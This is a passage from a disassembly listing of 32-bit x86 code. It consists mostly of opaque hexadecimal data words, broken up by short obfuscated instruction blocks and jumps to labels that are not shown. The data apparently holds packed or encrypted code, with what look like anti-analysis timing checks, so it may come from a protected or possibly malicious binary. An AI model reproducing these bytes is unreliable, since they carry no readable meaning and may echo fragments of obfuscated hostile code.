26457C05h dd 35503C54h, 0E81FFB50h, 1033D810h, 6631A95h, 0EE0CD613h dd 546C5330h, 6DAB6BAh, 0E2D4B7CEh, 5B17D3AAh, 9861C68Eh dd 162388E4h, 0AD808475h, 0D4D142Dh, 0D2DE3078h, 0D3EBDDBEh dd 8BD111EAh, 0DAC668CDh, 0A2h, 3BD0E8D3h, 0C62D6554h dd 43A8E0A9h, 0CD265E2Ch, 4BA0D8A2h, 0C9B3311Ch, 48355AB1h dd 0C8B4DB30h, 44345BB0h, 7F46E70Ch, 251A161Ah, 7768CAE8h dd 1E02675Eh, 0C2E23589h, 3305660Ah, 0AF9FF01Bh, 4637C97h dd 95F21C34h, 0A5866DA5h, 0BBDEA7E8h, 0E8250CADh, 0F2957BB3h dd 7619F20Ah, 0C1A04E86h, 0F387D86Bh, 233ABDAEh, 0A7C8235Bh dd 67E3D4D7h, 54B24487h, 957B339Dh, 583FD199h, 0CBB45A72h dd 10F86590h, 4B46E434h, 6129DCACh, 0A47BBF8Ah, 78028DBEh dd 0C088EB87h, 37A6688h, 29000000h, 31045D4Eh, 0A890F719h dd 35197E90h, 0A794F31Dh, 14E6816Fh, 837512FCh, 0FCC2A54Bh dd 7C4D2AC4h, 0FECDAA44h, 680128C6h, 0 dd 89242C89h, 4C581E5h, 83000000h, 2C8704EDh, 89535C24h dd 4C381E3h, 83000000h, 1C8704EBh, 34895C24h, 6D716824h dd 1C890000h, 4EC8324h, 0BD242C89h, 5EF83A3h, 835DEE89h dd 248904ECh, 24048324h, 0EC815B04h, 4, 89241489h, 85389F2h dd 241C8B5Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop esi add esp, 4 jmp loc_5562A0 ; --------------------------------------------------------------------------- db 70h dd 0DC1EE7DDh, 0EF929EB8h, 0FFC50305h, 0AEFE69E0h, 66904447h dd 36B23778h, 0FDDDA328h, 0C690D204h, 438D8D16h, 6A05EF94h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 89C4C355h, 0EA0ADD8Dh, 0BEBB6605h, 0CD85C7B0h dd 2805EA0Ah, 6A000066h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 32FEC353h, 0BB443D2Dh dd 0E98C4AE6h, 6, 0AA412929h, 0C68A6FA8h, 25F585C7h, 5EAh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 0F8AA31C3h, 0D19653CCh, 6800FA1h, 31000000h dd 0EA1BA58Dh, 21BD8905h, 0FF05EA0Bh, 0EA3151B5h, 14E905h dd 928A0000h, 0EF6BEC7Ch, 9AFEF23Bh, 0FCD08AB5h, 0FA2CAF95h dd 95FF8356h, 5EA2A19h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 1FC35040h, 0C90613E3h, 890D87B5h, 0EA23198Dh dd 859D8905h, 8B05EA30h, 0EA2BF185h, 0FF006A05h, 0EA101595h dd 0EBC08B05h, 22F8C05Ah, 0DA3EB89Dh, 0CB6F128Ch, 63770545h dd 948FC1F5h, 961A2E02h, 0B80B6ACAh, 0DC5A87ECh, 0CFF2D273h dd 936EA5D4h, 0D5379631h, 0ACE29311h, 0B5CD1C2Eh, 79989A23h dd 0B27637A1h, 409D3A43h, 517F2E21h, 29DB313Eh, 0CA151033h dd 7A47DBD7h, 0AF522E0h, 4F6FD6C1h, 0E8053E3Dh, 0Eh, 684AFAB8h dd 57056594h, 0EF78152Eh, 9589DD2Eh, 5EA1EF1h, 0EDF6805Fh dd 714BC781h, 6E90000h, 96000000h, 0E6F70BF7h, 0FECABB8Eh dd 0EB8173DFh, 73DFE29Ah, 8B37FFF9h, 0EA0A618Dh, 0B8605805h dd 4AD22B16h, 81613EB2h, 53EAD0F0h, 35B58928h, 8105EA10h dd 0DF5EF7E8h, 0E881F816h, 115B2B95h, 1241B50Bh, 605005EAh dd 203D9D89h, 8B6605EAh, 78F61CFh, 83D18B66h, 0B53304EFh dd 5EA010Dh, 0F01EB83h, 0FFFFAC85h, 319503FFh, 0EB05EA01h dd 60h, 17h dup(0) dd 0BF6E900h, 0EAE90000h, 6800000Bh, 5EF9DD7h, 0FAE8CDE9h dd 9F6668FFh, 0C3E905EFh, 68FFFAE8h, 5EF9FBEh, 0FAE8B9E9h dd 742BADFFh, 0E095DA20h, 680D4EB4h, 0E693C63Ch, 690A48B2h dd 681A9B3Dh, 0E71D49EAh, 6298CC6Fh, 0E3194DF2h, 319BCF6Ah dd 0FC1B11A3h, 0E26E1D45h, 5EFB72BCh, 63949EF2h, 6DB411B2h dd 0F2CA78E9h, 45175666h, 431DB1DDh, 8DCF488Dh, 462A46EAh dd 0B2586EAh, 742AC90Dh, 0D1DDFA9Dh, 0B8B29A48h, 5A369A3Bh dd 125BA1F9h, 83F73967h, 0D9D373D0h, 9064D69Bh, 0E3175734h dd 563AD91Dh, 5A9C963Ah, 179E59F8h, 0DE113CDFh, 0E28FC2CAh dd 4600A38Eh, 0C4C532EBh, 0CC0E04A8h, 0D5670449h, 175702DFh dd 0CAA6CA52h, 67145A94h, 0A404A7CBh, 0FBD2CAEh, 17570335h dd 0D07C1088h, 56FA97DAh, 0D27E1F5Ch, 6C11428Ch, 90FACC0h dd 0E5BB17C6h, 57F4A72Bh, 207E4752h, 0BA8FA292h, 134DD512h dd 0AFFB9ADDh, 53299B01h, 0A611676Dh, 98989D3Eh, 0ECF065F0h dd 771BA2F7h, 419D9B29h, 88101168h, 34FB3FD6h, 27F1DFD2h dd 0A72E2484h, 6D075E0Ah, 0D91749E8h, 264AE695h, 62CB2085h dd 0E148216Eh, 45236A33h, 0B1370E05h, 33h, 48216EE8h, 89D039E1h dd 210A30B7h, 0F54715B6h, 1756BDFFh, 5DB4EA72h, 836A7DE7h dd 2D882B3Ch, 0EA6D5439h, 97DB154Bh, 0A0E247E4h, 56B6DDh dd 39EF0000h, 0EDC064D0h, 86254695h, 3C957C83h, 5BB9D039h dd 2E03AE27h, 0A489E6E1h, 73CE58E3h, 6A389BBCh, 0E4D86AF0h dd 57175703h, 1E166CCFh, 0A4175704h, 0A339AD04h, 56671B11h dd 55F66E17h, 0EA6D6A07h, 6408AF2Dh, 0B285F43Ah, 5C309C41h dd 6B33A30h, 0DDA000A5h, 1C421B6Eh, 0BC737DAEh, 68DA7012h dd 116C5194h, 4D137FE7h, 518F65D7h, 589F116Ch, 0E94AD2A5h dd 51493F49h, 0F9B7116Ch, 23B6428Bh, 0BFC62E24h, 68000001h dd 2A8633A6h, 6E40E546h, 8B114F22h, 0CA661545h, 8FE394C0h dd 6756562Ch, 31A91756h, 0D55E979Dh, 305CF0A7h, 6D51085Ch dd 0F3C97BE8h, 46175666h, 0CB1BB2DEh, 48216E62h, 236A33E1h dd 370E0545h, 54B1h, 37851F00h, 1456673Dh, 690E4EB0h, 66C5A9C5h dd 48216EC3h, 8295D816h, 6C00AC51h, 63C0AC00h, 0B18B39C6h dd 4175666h, 69C57AFAh, 39C06905h, 4BEA6D54h, 0E093DB15h dd 0CC7E204Ch, 175666F8h, 0D570D34Bh, 0FFC32AA0h, 2ECF4608h dd 0B619BC1Fh, 48h, 2E216EEFh, 0C8A408ADh, 0F7390DA4h dd 2371D285h, 56669B91h, 0CB09C717h, 77D4B814h, 2319AB39h dd 96175666h, 39CB620Eh, 4EED6DA3h, 51848EE2h, 0C3600CA0h dd 11A33966h, 1756671Bh, 7BFCF66Eh, 0F87F79DAh, 0DDA0EC45h dd 0ED0E226Eh, 56DCCCECh, 6CF5113Ch, 0B31C5FDCh, 0A91B81DFh dd 1756ABD3h, 4F1DBE26h, 56ABFBFDh, 7AD64E17h, 85CFD70h dd 49E86D51h, 6E62CBE0h, 0EAB2E21h, 0BA2CEA2h, 45236A33h dd 0B1370E05h, 39h, 9216EE8h, 0A39E5233h, 0AE076BDFh, 66B18B39h dd 9C041756h, 39543935h, 49E86DA3h, 5FF89E5h, 78175667h dd 124543E0h, 0DDA0CA63h, 63B6h, 0A0D61800h, 90335FF3h dd 48216E35h, 0B18B39E1h, 31175666h, 0B18B39A3h, 4175666h dd 6712EA9Ch, 9B651756h, 0A0CCA053h, 0DED664FEh, 51175666h dd 0ED90C3C9h, 2B8E2D41h, 8B39A339h, 175666B1h, 12EA9C04h dd 65175667h, 610C5EFDh, 0AC2DEA6Dh, 66B78D3Fh, 920A1756h dd 2CC92FEh, 0E38F23D0h, 0DDA0E540h, 0E7B6h, 0D039EF00h dd 0A56235E7h, 0EBEE4D1Fh, 2092CCA5h, 1756A944h, 89832FB7h dd 22CB9544h, 0A1DA30F3h, 14C70FC9h, 0DA83DB78h, 0E049E86Dh dd 0AA7C95CBh, 5B5227E5h, 6EE247E4h, 0F4C87A21h, 47175666h dd 67655FEDh, 40D81756h, 33E9402Ch, 545236Ah, 74BA370Eh dd 0DDD76508h, 50145666h, 5E07A4C8h, 58h, 2C3119F0h, 369A3DBFh dd 0CFB2775Ah, 6E42E744h, 8C164821h, 5667463Eh, 8221B917h dd 0B18B3927h, 2D175666h, 0FAF057C4h, 1EBDFB15h, 0A5589B65h dd 543960C9h, 1B11A339h, 6E175667h, 1C5355F6h, 0F739D079h dd 87279682h, 0F2C70A96h, 0FD5E329Eh, 2DB64B36h, 0EF000000h dd 1648216Eh, 0C74D74FFh, 0DC7F646Fh, 0B18B3979h, 2D175666h dd 6CCF6AE3h, 392B8222h, 4BEA6D54h, 0C32AA0E2h, 1856E0CFh dd 0E643E06Fh, 0E549E86Dh, 9ECA6DEFh, 1E40F164h, 370544F7h dd 1DBEA20Ch, 5AF7CBBDh, 0B73B1757h, 32A2A804h, 0CF71218Dh dd 4F84A9Dh, 7717575Bh, 6DD383EFh, 8435B8FFh, 3EB07ED0h dd 0DD6F319Dh, 17575AE7h, 83AEC25Ah, 0CAAB1D00h, 0C9CF6CE5h dd 3A79D584h, 0C86DE2ECh, 4AE76E64h, 71E3E9E6h, 44B0EA4Ch dd 310BB923h, 0F9175743h, 29B1C675h, 0A8498C8Ah, 29F405FCh dd 4F96C577h, 0F16912BDh, 2B99035Dh, 116D2D51h, 0E59F3CA4h dd 116D2D13h, 0A4B1236Dh, 2E24FED4h, 1220h, 0E86D7900h dd 9993E549h, 0CB175666h, 3DB00775h, 3991C89Ch, 7CD083F7h dd 40B5B310h, 0E5343D91h, 74F44618h, 0C712B9F3h, 0A7F20B5Fh dd 0E13280DEh, 0D40CCCDDh, 0A296E04Ch, 1E0B7CBAh, 0DC32450h dd 0EF832FCEh, 8D74044Ch, 2C802834h, 0D9000000h, 0E77D226Eh dd 56675F55h, 3C4AD217h, 17566748h, 114F23BBh, 46E598DFh dd 66BEA614h, 0A9311756h, 1BBA39F7h, 1E6E4Fh, 6E370000h dd 8B114F22h, 0CB671645h, 7A7E04A7h, 0E4175667h, 56F5AA2Ah dd 25EBB52Dh, 0A5307B6h, 1C5B6h, 256EEF00h, 9ADC124Ch dd 0DB7855F9h, 0B357B625h, 8D288BE7h, 4906D039h, 0A06E1943h dd 36A4745Dh, 15B6DAA6h, 0E86D1CB5h, 62FE1749h, 63CAEB3Fh dd 1A13B7ADh, 335F39B7h, 0F7393590h, 137FD37Eh, 0AF46E8B0h dd 0EA88A221h, 0C273E0B4h, 0CD6E026Eh, 5452368h, 55B1370Eh dd 0E8000000h, 124C256Eh, 51FD9EDCh, 66C7BD0Fh, 0A23A1756h dd 39C86DCEh, 5666B18Bh, 71E32D17h, 0E8166DCEh, 73DAB667h dd 0D0395439h, 451702AAh, 9096355Eh, 94A3D463h, 77DBB768h dd 0D1EB361Bh, 148EECD2h, 67E82678h, 0E3101AB6h, 58FD5E32h dd 40B6DDA0h, 0EF000000h, 0E54C256Eh, 66B18B39h, 91311756h dd 2CD301CFh, 97448A80h, 39FD58FBh, 0CF0E82D0h, 1B33169h dd 1756CF2Bh, 0C96A069Eh, 8BCF019Bh, 0A81A44E8h, 1756CED4h dd 70D3BF27h, 4FEE6DD5h, 39DDA0E6h, 0E0EF59D0h, 7FF3060Dh dd 701C70DCh, 97A0D5D3h, 721EB265h, 0A339B71Eh, 56671B11h dd 55F66E17h, 0D0395CF5h, 943D4C94h, 808526FEh, 3303AA7Fh dd 545236Ah, 2FB1370Eh, 0E8000000h, 0E148216Eh, 66B18B39h dd 9C041756h, 39543935h, 0FCD27ED0h, 0A8F1DC7Dh, 58D713BEh dd 0EAD922FEh, 0AC232586h, 0DDA0A009h, 46B6h, 216EEF00h dd 97D81648h, 85264AE6h, 0B18B3920h, 31175666h, 0A3393891h dd 66B18B39h, 0FA041756h, 0AA9C57Ah, 11A339AFh, 1756671Bh dd 1AA8F66Eh, 17566722h, 0A8AE0D95h, 0B2287627h, 56672C00h dd 0A4079F17h, 39DDA001h, 671B11A3h, 0F66E1756h, 18215355h dd 0F85438D9h, 5666B98Eh, 0FD145A17h, 2EE2DD6Fh, 5715B6EEh dd 0B1669625h, 0EF6DBCE5h, 6EEEE448h, 83CD65C9h, 550A4A51h dd 0E097C50Bh, 0DB83204Ch, 566FDD5Dh, 0B8C37617h, 0B6E7384Ah dd 93FF9340h, 0D4E26D7h, 0FE0C6C34h, 0CC2FFFFh, 0EA862ACBh dd 1F11EC49h, 93175667h, 1756661Dh, 5665A091h, 502FC617h dd 827AC853h, 0F51755F0h, 0A569406Dh dd 0D8A8D271h, 2A1755F9h, 1755FA56h, 55F9D8A8h, 794455D7h dd 0E1629527h, 0CD5552BAh, 7CF13F61h, 0CF00829Ch, 0AEC27828h dd 2401080Dh, 64F7C87Ah, 0D24A4CCEh, 0D1014E1h, 598820A8h dd 309h, 0D58136BAh, 0A1F5A82Fh, 3165185Bh, 0BFEB86CBh dd 32661545h, 0E9691594h, 72E41E4Ah, 0ED6F95C1h, 71E41E4Ah dd 0AC3E94C0h, 4604261Eh, 0BC15991Dh, 0E549E86Dh, 570675BBh dd 0DC83F1FBh, 31613B0h, 117D1E5Ch, 0AC53814Fh, 9C75D0Fh dd 0CFB516C5h, 12B9F36Dh, 2B527E9h, 1A61C2AEh, 8846DC82h dd 0E5DFA94Ah, 581166D0h, 0EA8633A6h, 6CC071E0h, 7DFBA300h dd 1166D18Bh, 0F2AC7980h, 0D0E2DA68h, 0CE7C1166h, 1166D0F6h dd 3EA6D149h, 937DCF9Dh, 8F0CCA5Eh, 0C20B0C41h, 0A3D87B17h dd 31FF653Bh, 0B6B013C2h, 0A7ADD33Fh, 0FC130C14h, 0B73EC490h dd 0E8C0B61Ah, 250B76AFh, 0E55709D4h, 6DA3C7Fh, 0AE346AF2h dd 871A281Ch, 2C00B205h, 9F05871Ah, 4BE87007h, 0C19ED719h dd 871A7973h, 5715CC05h, 18AD7A35h, 31650965h, 3DB182CBh dd 0A6261EACh, 1990586h, 0A4AD016Dh, 0CC74C955h, 0E3E32BDFh dd 0FD63D18Fh, 5900EA89h, 0BD40C3B0h, 9860350Fh, 3D1088FFh dd 1645076Fh, 0CBA7CB67h, 4FE392C1h, 63FB8023h, 0EAB3C6CFh dd 0A89C2EB4h, 66FF97B8h, 0AD3542EFh, 208C2FA7h, 0FBDEF4Ch dd 0FAFB463Dh, 78B6E870h, 0EA1044F5h, 6C1AB663h, 0F9A83A9Ch dd 0BAFC8891h, 0F84517F5h, 0B5075935h, 0F50B9237h, 121A538Ah dd 89E7E1ADh, 394049E5h, 942A452Dh, 4568ABA0h, 0DD2A6F87h dd 47197500h, 1E8102F5h, 0DEED75EFh, 5BD03EBh, 7A68B911h dd 0B000001h, 0BC4612C5h, 34CE9A3Bh, 0B84216C7h, 36CC9839h dd 0E54317C4h, 3FDC1E64h, 0BE5D916Bh, 33E410EAh, 0B9589D67h dd 67D547EDh, 1D46068Dh, 6EC56CE0h, 2B3241Bh, 0F0AEC2AEh dd 0B9F3E242h, 61CD5512h, 1A442168h, 0CCB0CBA8h, 95A63E0Ch dd 0E80EC3ACh, 2239E840h, 0D3000001h, 54AEFA9Dh, 0DC267223h dd 50AAFE9Fh, 0DE247021h, 0DABFF9Ch, 0D784F68Ch, 46F57983h dd 0CB6CE812h, 41F0659Fh, 9F2DBF15h, 1D4605A5h, 6E3D9418h dd 5413031Bh, 0A629EEBAh, 0BE2694CAh, 1812BA03h, 6F9BBF1h dd 957E887h, 6715C1BBh, 0FAC3411h, 28B2EC74h, 6DC176E6h dd 167D7701h, 68F01167h, 0EC616BCBh, 6AE3194Dh, 471C768Eh dd 0E76B94FDh, 98F49834h, 485158F4h, 50B9237Dh, 0D88F5942h dd 6B11B298h, 0CCAC59Dh, 7BC037F9h, 80EC40F3h, 8F2C40ECh dd 10C50AF4h, 0E8BCD0BCh, 6C38DD12h, 0EEB06596h, 0A2EEC674h dd 98410B77h, 5C9CFB35h, 0F3503C8Bh, 0A5EC05ABh, 0BFB507B8h dd 320B7807h, 0EF3787AAh, 0EF6264C7h, 537B4803h, 0A3110FDBh dd 0B77B4C9h, 0A4C8A43Ch, 2BC80AF0h, 0C055857Fh, 0DA8EE293h dd 590DAE20h, 0DA8E31A3h, 580CAD20h, 39CE2CA2h, 0AE069046h dd 0C33A6E02h, 3B1EFB6h, 6DAF835h, 408ED048h, 0A3CF6314h dd 23AAA000h, 0A032276h, 5A000000h, 0D184F739h, 0D1B2117Dh dd 34EB6D7Ch, 0BE5B9298h, 3BDC1812h, 0BA599D97h, 3DDE1C16h dd 0A4579B91h, 22CF0208h, 0A657848Eh, 2ECF000Ah, 8953E982h dd 4B951E3h, 1000000h, 0EB8359CBh, 241C8704h, 0E189515Ch dd 4C181h, 0E9830000h, 240C8704h, 2434895Ch, 97868h, 24148900h dd 0EF95C068h, 24348B05h, 6804C483h, 0EF7h, 81242489h dd 42404h, 685A0000h, 2995h, 8F243489h, 148B0842h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop esi add esp, 4 jmp loc_5488E2 ; --------------------------------------------------------------------------- db 0D4h dd 0AE97D6F9h, 5BD61584h, 51394387h, 0A105B890h, 0C50305EFh dd 0EDE9C38Bh, 0E9000000h, 8, 9B6C16F2h, 76204832h, 0A1F1B58Dh dd 0B06005EFh, 0D2B70FDEh, 61858D61h, 0F05ED7Ah, 1183h dd 0FB8B6000h, 8E9h, 0E15A6A00h, 0BCD6FC3Bh, 0D0FF61D8h dd 0CE9h, 0CEE0F600h, 0E7226ACBh, 37E6B9Dh, 7E9C389h, 0B0000000h dd 0D7684328h, 8C664F69h, 0C1F6F9D9h, 44840F04h, 60000000h dd 81D78B66h, 0A83D93E8h, 8BF9611Ch, 32CB8BFBh, 0FD75AEC0h dd 0D9F7CF2Bh, 0D78BF92Bh, 0EBD98B49h, 3F20CD00h, 0B000101h dd 8D1874C0h, 0FA8B0C70h, 75A6CB8Bh, 0FA75490Ah, 1B8h dd 8B09EB00h, 0B8E4EB00h, 0 dd 11E860CFh, 0A3000000h, 1D2F6391h, 38634CD2h, 0DA876CA2h dd 9D2C80Bh, 5ED9B70Fh, 14E8h, 6CA03C00h, 0B226667Dh, 58E24713h dd 0DEAE1156h, 0D6FBCD32h, 0F96158F1h, 1EC68160h, 6170F53Dh dd 0A22285C7h, 13F05EFh, 8D8D0001h, 5EFA357h, 14E8h, 7846EB00h dd 506E1006h, 50B568A1h, 0AC6B7BCEh, 3A4EAE01h, 68E0FFAh dd 23000000h, 0EA037185h, 8D895B05h, 5EA0ADDh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 9CC35545h, 0CD85C73Dh dd 0C05EA0Ah, 66000065h, 0FC4DD381h, 25F585C7h, 5EAh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 4B6E2DC3h, 0FFB36E85h, 0EA2CBDB5h, 95BD0105h, 0FF05EA14h dd 0EA2A1995h, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 2559C328h, 6E5095EFh dd 0FF006A90h, 0EA101595h, 0EBC08B05h, 6EE1018h, 90AB183Eh dd 2806408Ch, 63D0D7C9h, 0E8FED01Ch, 0A02996DBh, 8C8D8DD3h dd 6A05EFA4h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 84CEC352h, 0B70F0235h, 0DD8D89C3h dd 6605EA0Ah, 0C73F9CBEh, 0EA0ACD85h, 6EEC05h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 1380CE47h, 0B70F742Dh, 5D8529FBh, 0B005EA10h, 0F585C735h dd 5EA25h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 0DA2EC355h, 8B30C15Ch, 0ADB5FFFBh dd 6A05EA2Eh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0DB8C353h, 4845D4AFh, 0ADBD0B0Dh dd 0FF05EA06h, 0EA2A1995h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0A614B544h dd 0B2605376h, 2960489Dh, 0EA1A5DBDh, 0AE805h, 84C30000h dd 7F353B08h, 0D69E835Eh, 0B2D958Bh, 615905EAh, 0F2C8D681h dd 6A4D66h, 101595FFh, 0C08B05EAh, 2EF349EBh, 0D1910119h dd 0EE3D7FEAh, 0CFF61C49h, 4299AF88h, 51F4B7A8h, 98F1E345h dd 0E4F6A16h, 79EDA472h, 9B23846Ch, 0A435DE3Bh, 2C3B319Eh dd 3D253766h, 0A1672D0Ch, 0D0210A55h, 1974F04Dh, 9FEBC69Fh dd 0DB0B6BF8h, 0E9AA4C6Bh, 13Ch, 4Fh dup(0) dd 32A5BD83h, 0F0105EAh, 69F84h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 4DA7212Bh dd 0A8A0Fh, 0F600000h, 8Eh, 615A5200h, 4585C6F9h, 4305EA1Ah dd 19810Fh, 14E90000h, 0B3000000h, 1734BF7Ch, 0FA616DDFh dd 0E44D7C29h, 1541FA49h, 0E8198781h, 4, 0ECA5D0F5h, 0DE9h dd 16F0800h, 0C65BA70Fh, 6612ED9Fh, 0F501D0Dh, 1782h, 12E900h dd 915E0000h, 1B01C310h, 59041403h, 68393860h, 0A7E88A7Dh dd 424448Bh, 8A0F5250h, 6, 310F5250h, 310F585Ah, 880F5250h dd 0 dd 0EE9310Fh, 0CF000000h, 818377A5h, 7AA451E5h, 7808FBAFh dd 5A585A68h, 60008B58h, 9E9h, 9D141A00h, 0C571088Ah, 10E9D935h dd 0B9000000h, 0AE06DE5Ah, 38B10A45h, 73D00770h, 61702906h dd 4244489h, 17BB6660h, 13E845h, 0BF5B0000h, 0CA10221Dh dd 7C48DE44h, 0DB12A062h, 79658070h, 12E834h, 0B8270000h dd 646C59C8h, 0D4E7031Ch, 0F30223DDh, 0A7C30E0Eh, 5861595Eh dd 8DB5FFF5h, 0F05EA23h, 148Dh, 0FE900h, 490000h, 48CFB635h dd 4A0A94B7h, 0BC231718h, 0A0858D97h, 6A05EDAFh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 0B1D6C352h, 950667ACh, 0DE951B1h, 16000000h, 615AEACAh dd 7C5033E9h, 0C816B62Ah, 1E8E0Fh, 0E8600000h, 13h, 0F70ADBFCh dd 8EA803CFh, 0E6437EABh, 8FBABF42h, 5BBAED77h, 61DE8B66h dd 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0DB4C2AC3h, 1E7B33BAh, 8E0FD488h, 7, 1810Fh dd 0FF80000h, 0E8Dh, 61606000h, 5E9h, 5EAA6700h, 89616AC0h dd 0EA1B4585h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 85C6F875h, 5EA1A45h, 56006A50h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 0F4883F0h, 178Ch, 11890F00h, 0E9000000h, 0Ch, 633D792h dd 0D8DB3AE9h, 0EDD31268h, 4E8h, 0ADAD5600h, 11E9A8h, 0E1990000h dd 7EDF2B8h, 0A45EE647h, 285BC109h, 50204444h, 617FB260h dd 424448Bh, 61616060h, 5250008Bh, 0FE9h, 0B7F10800h, 0C16F4817h dd 0C8219241h, 42EC0518h, 880F310Fh, 6, 310F5250h, 585A585Ah dd 4244489h, 10E9h, 0FFF1C000h, 8B0F35CBh, 9263FBCh, 4DC455E3h dd 6660589Ch, 10E9D88Bh, 1A000000h, 0EB87F351h, 548CC48Eh dd 95C304D6h, 61FE7ECCh, 238DB5FFh, 8D0F05EAh, 0Bh, 6E9h dd 901FEA00h, 8D4BFB90h, 0EDAFA085h, 0BF0F6005h, 10E8D2h dd 3150000h, 0CF39A92Eh, 0DA85EF15h, 89F61E81h, 11E99B6Dh dd 0D3000000h, 2CE70B87h, 0AD12EA72h, 0D77C8B4Fh, 3D931AEDh dd 0D0FF615Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 0F9C35646h, 30AFE915h, 60E59C6Dh, 0E961CC8Ah, 10h dd 0D810C084h, 0D6C40807h, 0F1100FB4h, 22A6C8AFh, 14D8589h dd 13E905EAh, 0D3000000h, 917F6E99h, 0C000CEC7h, 0C7C6533Ch dd 0B01FCAEDh, 0C86851AFh, 60BCB265h, 0FE8h, 0AC205E00h dd 8F790EE4h, 5504103Ch, 854D4FFFh, 59FB8B66h, 460ABB66h dd 24048161h, 33DD4267h, 1830F60h, 0F5000000h, 0CE8h, 0A487A600h dd 9365F220h, 5406F4F6h, 585B5690h, 8DB5FF61h, 0FC05EA23h dd 78E0Fh, 80600000h, 91B09DD8h, 0A0858D61h, 6005EDAFh dd 0BB66C68Bh, 0FF61B052h, 52006AD0h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 8830F1Bh, 60000000h dd 0C3A6B866h, 0F615F50h, 482h, 61606000h, 9D858961h, 0E905EA2Ah dd 11h, 2DE3A1EDh, 4EF3C284h, 0CB402765h, 16916C14h, 4585C601h dd 5005EA1Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 91C35242h, 0E899F52Bh, 8E9ACh, 0B8C90000h, 7E50C58Ah dd 0C468359Ah, 0F6D4A7Dh, 1582h, 10E900h, 0D4570000h, 0EB115DCDh dd 0CCA4F320h, 67713A5Fh, 481EC75h, 525E9224h, 9E92Ah dd 0FB320000h, 0DC215EADh, 0FF1BCCA0h, 0EA1D45B5h, 858DF905h dd 5EA3969h, 0E9D0FFF5h, 0Fh, 9A95D961h, 820DA1Ah, 5E0EC3E7h dd 89E6A55Ch, 0EA0F5585h, 0C5E9F505h, 60000001h, 0C7B70FFCh dd 8D0F9561h, 8, 2870Fh, 61600000h, 9E950h, 3B5A0000h dd 6ADA047Fh, 95D6F77Bh, 11860Fh, 0CE90000h, 5000000h dd 94BBA261h, 0AC68C6Eh, 0E9383AF4h, 0Ah, 94BBA261h, 0AC68C6Eh dd 0EC8B3AF4h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 13C35141h, 81BDA6ADh, 13E93E9Fh, 11000000h, 6817D796h dd 0B4DB16DBh, 9ED5E272h, 848D94B0h, 0C483C0A2h, 52006AFCh dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 11E960FAh, 0B000000h, 0DB2F31EAh, 0F3F39DBFh, 0EE8C7609h dd 0AC2F6C0Ah, 0E8h, 0EA815A00h, 5EFABC4h, 0FC45C7h, 83000000h dd 0EA32A5BAh, 840F0105h, 98h, 6A006A52h, 4592FF0Fh, 5A05EA1Bh dd 0A4DF8289h, 9A8D05EFh, 5EFA4E3h, 2803C752h, 53000001h dd 4D92FF50h, 5A05EA01h, 0E39A8D52h, 5305EFA4h, 0A4DFB2FFh dd 92FF05EFh, 5EA0F55h, 74C00B5Ah, 0E39A8D50h, 8D05EFA4h dd 0C933247Bh, 104F981h, 0D4740000h, 393C8141h, 4558452Eh dd 348DEE75h, 0C752B39h, 379BA8Dh, 4D8B05EAh, 32A4F30Ch dd 0FF52AAC0h, 828D0875h, 5EA0379h, 9D92FF50h, 5A05EA2Ah dd 0A075C00Bh, 1FC45C7h, 0EB000000h, 0FC45C707h, 0 dd 0FC458B61h, 8C2C9h, 13E960h, 459A0000h, 0F344357Eh dd 24A24008h, 0DA7DB862h, 0DBF86F09h, 0C23ABA06h, 0F6108B4h dd 68Dh, 0B8666000h, 0F617C75h, 178Eh, 27B36000h, 0EE9h dd 98DD5300h, 2C1EB732h, 0F8D7217Bh, 61C8AE73h, 66E9D28Bh dd 60000002h, 0F6D98C66h, 840F04C1h, 35h, 0B5FF016Ah, 5EA1D45h dd 0AFA0858Dh, 0D0FF05EDh, 2B718589h, 0FE8B05EAh, 680CEFC1h dd 20060000h, 26A006Ah, 0D6857h, 95FF0001h, 5EA2B71h, 32E9h dd 4585C600h, 5605EA1Ah, 0C530DF68h, 8DB5FFA9h, 8D05EA23h dd 0EDAFA085h, 89D0FF05h, 0EA00B585h, 0A9858D05h, 5005EA0Bh dd 56A406Ah, 0B595FF56h, 6105EA00h, 0C3h, 2 dup(0) dd 0D48B5200h, 8428B60h, 0AD4C8589h, 428B05EFh, 4485890Ch dd 8B05EFADh, 85891042h, 5EFAD48h, 0AD82B58Dh, 858D05EFh dd 5B7E35h, 5A61D0FFh, 8B000CC2h, 0EFAD4CB5h, 44858B05h dd 8305EFADh, 